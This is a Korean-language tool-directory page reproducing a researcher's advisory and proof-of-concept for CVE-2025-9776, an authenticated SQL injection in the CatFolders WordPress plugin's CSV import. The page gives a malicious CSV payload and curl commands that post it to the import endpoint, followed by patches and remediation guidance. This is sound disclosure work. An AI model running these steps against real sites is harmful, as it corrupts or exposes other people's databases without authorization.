Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-9776 — CVE-2025-9776 — CatFolders WordPress 플러그인: CSV 가져오기를 통한 인증된 SQL 인젝션 | POC + 워크스루 | Kitploit
도구/GitHubGitHub/snailsploit/cve-2025-9776
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — CatFolders WordPress 플러그인: CSV 가져오기를 통한 인증된 SQL 인젝션 | POC + 워크스루

저장소 보기
134개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-9776: CatFolders 워드프레스 플러그인의 인증된 SQL 인젝션

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

키워드: CVE-2025-9776, CatFolders 워드프레스 취약점, SQL 인젝션 워드프레스, 인증된 SQL 인젝션, 워드프레스 보안, CSV 가져오기 취약점, 워드프레스 플러그인 익스플로잇, CWE-89, 워드프레스 데이터베이스 공격, 미디어 라이브러리 취약점, 워드프레스 CVE 2025

목차

  • 개요
  • 취약점 상세
  • 기술 분석
  • 개념 증명
  • 대응 가이드
  • CVSS 점수
  • 참고 자료
  • 보안 연락처
  • 개요

    CatFolders 워드프레스 플러그인에서 악의적인 CSV 가져오기를 통해 데이터베이스 쿼리를 조작할 수 있는 인증된 SQL 인젝션 취약점이 발견되었습니다. 이 취약점은 Author 이상의 권한을 가진 사용자가 악용할 수 있습니다.

    발견자: Kai Aizen (SnailSploit)
    공개일: 2025
    CVSS 점수: 6.5 (Medium)
    CWE: CWE-89 - SQL 인젝션

    취약점 상세

    설명

    CatFolders – Tame Your WordPress Media Library by Category 플러그인의 CSV 가져오기 기능에 인증된 SQL 인젝션 취약점이 존재합니다. 사용자가 제공한 CSV 파일의 attachments 열이 리스트로 분할되어 FolderModel::set_attachments()에 전달됩니다. 이 메서드는 해당 값들을 적절한 살균 처리나 매개변수화 없이 원시 SQL IN (...) 절에 연결합니다.

    영향

    이 취약점을 통해 Author 이상의 권한을 가진 인증된 공격자는 다음을 수행할 수 있습니다:

    • 임의 SQL 쿼리 실행
    • 폴더-첨부파일 매핑의 대량 삭제 또는 조작
    • 페이로드 및 데이터베이스 구조에 따른 잠재적 데이터 노출
    • 데이터베이스 무결성 및 가용성 손상

    영향을 받는 버전

    • 취약한 버전: 2.5.2 이하 모든 버전
    • 패치된 버전: 2.5.3 이상 (공급업체 확인 필요)

    CVSS v3.1 점수

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
    
    메트릭값
    공격 경로네트워크 (AV:N)
    공격 복잡도낮음 (AC:L)
    필요한 권한낮음 (PR:L) - Author+
    사용자 상호작용없음 (UI:N)
    영향 범위변경되지 않음 (S:U)
    기밀성없음 (C:N)
    무결성낮음 (I:L)
    가용성낮음 (A:L)

    기술 분석

    취약한 코드 경로

    CSV 가져오기 워크플로우에 취약점이 존재합니다:

    파일: includes/Rest/Controllers/ImportController.php

    1. import_csv 메서드는 업로드된 CSV를 필드별 살균 처리 없이 파싱합니다.
    2. restore_folders()가 다음을 호출합니다:
    root@kitploit:~
    FolderModel::set_attachments( 
        $new_folder['id'], 
        explode(',', $folder['attachments']), 
        false 
    );
    

    파일: includes/Models/FolderModel.php

    1. set_attachments()는 문자열 연결을 사용하여 원시 SQL을 생성합니다:
    root@kitploit:~
    'raw' => 'post_id IN (' . $attachmentIds . ')'
    
    1. 각 요소는 정수로 변환되지도 않고 매개변수화되지도 않아 SQL 인젝션이 가능합니다.

    공격 경로

    Author 이상의 권한(upload_files 기능)을 가진 공격자는 CSV 가져오기 엔드포인트를 통해 악의적인 SQL을 주입할 수 있습니다:

    악의적인 CSV 페이로드:

    root@kitploit:~
    id,name,attachments
    1,Test Folder,"1) OR 1=1--"
    

    결과로 생성되는 취약한 쿼리:

    root@kitploit:~
    SELECT folder_id FROM wp_catf_folder_posts 
    WHERE post_id IN (1) OR 1=1--)
    

    이는 IN(...) 절을 벗어나 쿼리 의미를 변경하며, 잠재적으로 모든 행에 영향을 미칠 수 있습니다.

    전제 조건

    • 대상 워드프레스 사이트의 Author 이상 계정
    • CatFolders 플러그인이 설치 및 활성화됨
    • REST API 가져오기 엔드포인트에 접근 권한

    개념 증명

    1단계: REST 네임스페이스 찾기

    root@kitploit:~
    curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
    

    일반적인 결과: /catf/v1/import-csv

    2단계: 악의적인 CSV 준비

    catf_inject.csv 파일 생성:

    root@kitploit:~
    id,name,attachments
    1,Malicious Folder,"1) OR 1=1--"
    

    3단계: 공격 실행

    root@kitploit:~
    NS="/catf/v1"  # 발견된 네임스페이스로 대체
    
    curl -i \
      -u 'author_user:APPLICATION_PASSWORD' \
      -F "file=@catf_inject.csv;type=text/csv" \
      -X POST "https://target.site/wp-json${NS}/import-csv"
    

    예상 응답:

    root@kitploit:~
    { "success": true }
    

    영향 시연

    서버는 다음 쿼리를 구성하고 실행합니다:

    root@kitploit:~
    SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
    

    이는 의도된 것보다 광범위한 DELETE/INSERT 작업을 수행할 수 있으며, 종종 전체 데이터베이스의 폴더-첨부파일 관계를 삭제합니다.

    안전한 테스트 환경

    취약점을 안전하게 관찰하려면 독립형 SQLite 시뮬레이션을 실행하세요:

    root@kitploit:~
    python3 poc/catfolders_sql_poc.py
    

    이 스크립트는 취약한 쿼리를 출력하고, 악의적인 토큰이 모든 행을 반환하는 반면 매개변수화된 버전은 이를 적절히 차단하는 방법을 보여줍니다.

    대응

    사이트 관리자를 위한 지침

    즉시 조치 필요:

    1. CatFolders를 2.5.3 이상 버전으로 업데이트
    2. Author 이상 권한을 가진 사용자 계정 검토
    3. 영향을 받는 기간 동안 의심스러운 데이터베이스 로그 감사
    4. 예상치 못한 폴더-첨부파일 매핑 변경 확인

    개발자를 위한 지침

    두 가지 최소한의 강화 단계:

    1. 모델 호출 전 ID 살균

    root@kitploit:~
    - FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
    + $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
    + if ( ! empty( $ids ) ) {
    +     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
    + }
    

    2. set_attachments() 내에서 정수 강제 변환

    root@kitploit:~
      $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
    + $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
    

    더 강력한 권장 사항

    모든 원시 SQL 연결을 WordPress의 $wpdb->prepare()를 사용한 매개변수화된 쿼리로 대체:

    root@kitploit:~
    $placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
    $query = $wpdb->prepare(
        "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
        ...$imgIds
    );
    

    추가적으로:

    • 모든 CSV 필드를 처리 전에 엄격히 검증
    • API 계층에서 입력 유형 검증 구현
    • 가져오기 엔드포인트에 속도 제한 추가
    • 모든 가져오기 작업을 로그에 기록하여 감사 추적 가능하도록 함

    패치 파일

    완전한 패치는 patch/catfolders_fix.patch에서 확인 가능

    저장소 구조

    root@kitploit:~
    CVE-2025-9776/
    ├── README.md                    # 이 파일
    ├── poc/
    │   ├── catf_inject.csv         # 악의적인 CSV 페이로드
    │   └── catfolders_sql_poc.py   # 안전한 SQLite 시뮬레이션
    └── patch/
        └── catfolders_fix.patch    # 권장 수정 사항
    

    타임라인

    • 발견일: 2025
    • 공급업체 통보: Wordfence를 통한 조정된 공개
    • 공개일: 2025
    • 패치 제공: 버전 2.5.3

    참고 자료

    • MITRE CVE 항목
    • Wordfence 인텔리전스 권고
    • 워드프레스 플러그인 디렉터리
    • SnailSploit 연구

    크레딧

    연구자: Kai Aizen (SnailSploit)

    공개 과정: Wordfence 버그 바운티 프로그램을 통해 조정됨

    윤리적 고려 사항

    ⚠️ 중요 면책 조항

    이 개념 증명은 방어적 연구 및 교육 목적으로만 제공됩니다.

    사용 지침

    • ✅ 할 것: 자신의 시스템이나 명시적 서면 승인을 받은 경우에만 테스트
    • ✅ 할 것: 보안 교육 및 인식 제고에 사용
    • ✅ 할 것: 자신의 코드에 수정 사항 구현
    • ❌ 하지 말 것: 허가 없이 시스템 테스트
    • ❌ 하지 말 것: 악의적인 목적으로 사용
    • ❌ 하지 말 것: 프로덕션 환경에서 익스플로잇

    법적 고지

    허가 없이 컴퓨터 시스템에 접근하는 것은 다음 법률을 포함한 여러 법률을 위반합니다:

    • 미국 컴퓨터 사기 및 남용 방지법(CFAA)
    • 영국 컴퓨터 남용법(Computer Misuse Act)
    • 다른 관할 지역의 유사 법률

    본인의 책임 하에 사용하십시오. 연구자와 SnailSploit는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.

    연락처

    이 취약점에 대한 문의나 추가 정보가 필요하시면:

    • 이메일: [email protected]
    • LinkedIn: linkedin.com/in/kaiaizen
    • 웹사이트: snailsploit.com
    • 조직: SnailSploit Security Research

    안전을 유지하고 워드프레스 설치를 최신 상태로 유지하세요!

    최종 업데이트: 2025년 10월 13일


    📚 문서 및 저자

    이 프로젝트의 전체 작성 내용, 방법론 및 관련 연구는 다음에서 확인할 수 있습니다:

    https://snailsploit.com/security-research/cves/cve-2025-9776/

    Kai Aizen — 독립적인 공격적 보안 연구자

    snailsploit.com · 연구 · 프레임워크 · GitHub · LinkedIn · ResearchGate · X/Twitter

    동일한 공격. 다른 기반.

    도구 다운로드